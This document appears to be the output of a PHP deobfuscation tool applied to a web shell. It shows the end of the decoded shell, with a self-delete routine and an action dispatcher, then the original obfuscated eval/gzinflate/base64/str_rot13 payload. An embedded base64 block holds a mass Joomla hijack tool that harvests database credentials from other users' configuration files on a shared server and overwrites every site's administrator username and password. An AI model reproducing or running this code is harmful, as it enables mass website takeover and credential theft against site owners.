CiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQokY29uZmlnID0gJGVzWzBdOw0KDQokZG9taW4gPSAkZXNbMV07DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsNCg0KaWYoZXJlZygnSkNvbmZpZycsJHJlYWRjb25maWcpKXsNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCckcGFzc3dvcmQgPSBcJycsIic7Iik7DQoNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCckdXNlciA9IFwnJywiJzsiKTsNCg0KJGRiICAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYiA9IFwnJywiJzsiKTsNCg0KJGZpeCAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRkYnByZWZpeCA9IFwnJywiJzsiKTsNCg0KJHRhYiAgICAgPSAgJGZpeC4ndXNlcnMnOw0KDQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHVzZXJuYW1lYCA9J3NlYy13LmNvbSciKTsNCg0KDQokcXVlcnkzICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGBwYXNzd29yZGAgPSc0NGEwYmNkYTYxMTUxNDYyNWJhOTRlMGIxYzBiZGFlZDoyaWV0czl5ZGpSM2lPZFN1eXZXNTRwSXp5RjlNMVA1SiciKTsNCg0KDQppZiAoJHF1ZXJ5IGFuZCAkcXVlcnkzICl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkIDwvYj51c2VyIFtCTEFDSy5KYUd1QXJdIHBhc3MgWzFdPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KZmx1c2goKTsNCg0KDQoNCn1lbHNlew0KDQplY2hvICI8dHI+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRleHAnPmNvbmZpZzwvYT48L3RkPjx0ZD48YiBzdHlsZT0nY29sb3I6cmVkJz5mYWlsZWQ8L2I+PC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KDQp9DQoNCn0NCg0KDQoNCg0KDQoNCg0KDQoNCmRpZSgpOw0KDQp9DQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCiRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KDQpmbHVzaCgpOw0KDQoNCn1lbHNlew0KDQokZDAwbSA9IGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/d2VicjAwdD1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3dlYnIwMHQ9am9vbSc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBjaGluZyBBZG1pbicgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPjxiciAvPjxiciAvPg0KPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gRG9tYWlucyA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQokZiA9IGZvcGVuKCdqb29tbGEudHh0JywndycpOw0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQppZihlcmVnaSgiem9uZSIsJGRvbSkpew0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbXN3c1sxXVswXSkpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwPWdldF9oZWFkZXJzKCR3cGwpOw0KJHdwPSR3cHBbMF07DQoNCiR3cDI9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gam9vbWxhIC8vLy8vLy8vLy8vLw0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCnsNCiAkY29uZmlnPSAkd3BsOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AyOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHdwMTMsICIyMDAiKSA9PSB0cnVlKQ0Kew0KICAkY29uZmlnPSAkd3AzOw0KfQ0KZWxzZQ0Kew0KY29udGludWU7DQoNCn0NCmZsdXNoKCk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCiR3ID0gZndyaXRlKCRmLCIkY29uZmlnfHwkZG9tIFxuIik7DQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPiIuJHIuIjwvdGQ+PC90cj4iOw0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCi8vLyBob21lIC8vLw0KfWVsc2UNCnsNCg0KDQplY2hvICcnOw0KZWNobyAnJzsNCiB7DQoJDQoNCg0KfQ0KDQogICAgZWNobyAnDQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+IDxiPjwvYj4gIDxiPjwvYj4NCjxiciAvPjxiciAvPg0KDQo8YnIgLz48YnIgLz4NCjwvZGl2PiAnOw0KDQp9DQoNCg0KZnVuY3Rpb24gZXgoJHRleHQsJGEsJGIpew0KJGV4cGxvZGUgPSBleHBsb2RlKCRhLCR0ZXh0KTsNCiRleHBsb2RlID0gZXhwbG9kZSgkYiwkZXhwbG9kZVsxXSk7DQpyZXR1cm4gJGV4cGxvZGVbMF07DQp9DQoNCg0KDQplY2hvICc8L2Rpdj4NCg0KDQoNCg0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCic7DQoNCj8+';
$file = fopen("joom.php" ,"w+");
$write = fwrite ($file ,base64_decode($joom1));
fclose($file);
echo '<iframe src="joom.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}
function yemenselfrm()
{
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
yemenhead();
echo "<div class=header><pre class=ml1 style='margin-top:5px'>";
echo "
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
????????????????
????????????????
????????????????
?????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
";
echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
yemenFooter();
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('yemen' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('yemen' . $_POST['a']) )
call_user_func('yemen' . $_POST['a']);
exit;
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode(str_rot13("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